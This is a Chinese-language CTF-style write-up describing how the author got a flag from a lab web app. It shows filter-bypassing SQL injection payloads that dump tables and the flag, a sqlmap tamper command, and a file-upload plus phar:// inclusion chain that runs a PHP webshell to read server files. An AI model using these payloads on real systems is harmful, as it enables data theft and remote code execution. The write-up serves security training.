获取网站flag
Abstract: 利用 SQL
注入、文件上传、文件包含及 PHP
伪协议获取 flag
。
Table of Contents
代码审计
SQL 注入
寻找网页里可能与数据库进行交互的地方,由于系统比较简单,所以很容易定位到朋友圈功能。
输入老李,观察结果。
输入数字1,观察结果。
可以看出来,如果数据库里没有该好友,程序会提示找不到。尝试使用非法字符,输入 老李'#
,观察结果。
用 order by
确定字段个数,输入 老李' order by 10
,观察结果。
说明程序对敏感字符做个处理。多次尝试后发现,对 or
和 order
都进行了处理, 很难再使用 order by
语句。进行 union select
尝试。发现对 union
和 select
进行了过滤,使用双拼绕过。输入 1' uniunionon selselectect 1,2,3#
进行尝试。
说明字段数不符合,继续增大字段数。
当输入 1' uniunionon selselectect 1,2,3,4#
时,可以正常读出数据。
手工注入
使用
1 | 1' uniunionon seleselectct 1,(selselectect database()),3,4# |
确定当前数据库。
使用
1 | 1' uniunionon seleselectct 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema=database()),3,4# |
读取当前数据库中的表。
使用
1 | 1' uniunionon seleselectct 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns where table_schema=database() aandnd table_name='person_key'),3,4# |
读取表 person_key
中的字段。
使用
1 | 1' uniunionon seleselectct 1,(selselectect flag frfromom friends.person_key),3,4# |
读取 flag
。
sqlmap 注入
NOTE: 对 sqlmap
自定义注入点掌握的不熟练,但通过这个例子总结出一个步骤:先用手动注入发现点,然后把手动填写的要查询的 sql
语句用 *
代替即可。
1 | 1' uniunionon seleselectct 1,(selselectect database()/* 这里就可以写*号 */),3,4 # |
这里要注意使用 --tamper
命令绕过关键字符的过滤。nonrecursivereplacement.py
的作用就是双拼绕过 WAF
。先用 burpsuite
抓取数据包。
保存到 220.txt
。然后打开 sqlmap
。
1 | sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py |
1 | #获取数据库 |
1 | #获取当前数据库的表 |
1 | #获取当前数据库中表person_key的字段名 |
1 | #获取当前数据库中表person_key的字段名 |
不知道什么原因,无法 dump
数据。
文件上传和文件包含漏洞测试
打开公司档案馆
,观察页面。
在新标签页中打开档案1号
,观察网址构成。
1 | # 原网址 |
发现页面正常显示。
由此可判断出,可能存在文件包含漏洞。
1 | http://192.168.11.220/archives.php?archive=./demo.php |
在 个人档案
上传 10.zip
文件,里面有如下文件。
2.php
1 | // 一句话木马 |
5.php
1 | // 主要用于显示,看能否解析 .php 文件 |
上传成功后。
在浏览器中输入
1 | http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/5.php |
发现 .php
是可以解析的。
之后用菜刀和蚁剑连接如下网址,
1 | http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/2.php |
发现连接不上。但是 2.php
是可以解析的,以 POST
方式 cmd=echo(123);
,网页上显示 123
。
既然连不上,那我们就直接用 php
函数读取文件把文件显示出来。
1 | cmd=echo htmlentities(file_get_contents("/var/www/html/flag_toifsef997388003.php")); |
该方法的缺点是要知道该文件的具体路径,没有菜刀和蚁剑方便。
问题与总结
SQL
注入相关的知识有些遗忘,用起来不熟练。对sqlmap
的使用没有得心应手,先是手动注入完成以后,多次尝试使用sqlmap
才跑出来,但最后的具体数据没有dump
下来。本次使用的是UNION
联合查询,按理说也可以使用自定义时间盲注测试点用sqlmap
抓数据,但尝试多次没有成功,有时间了还得再看看。- 菜刀蚁剑没有成功连接,得想办法尝试绕过检测,直接上传
.php
文件,这样用工具连接可能会成功。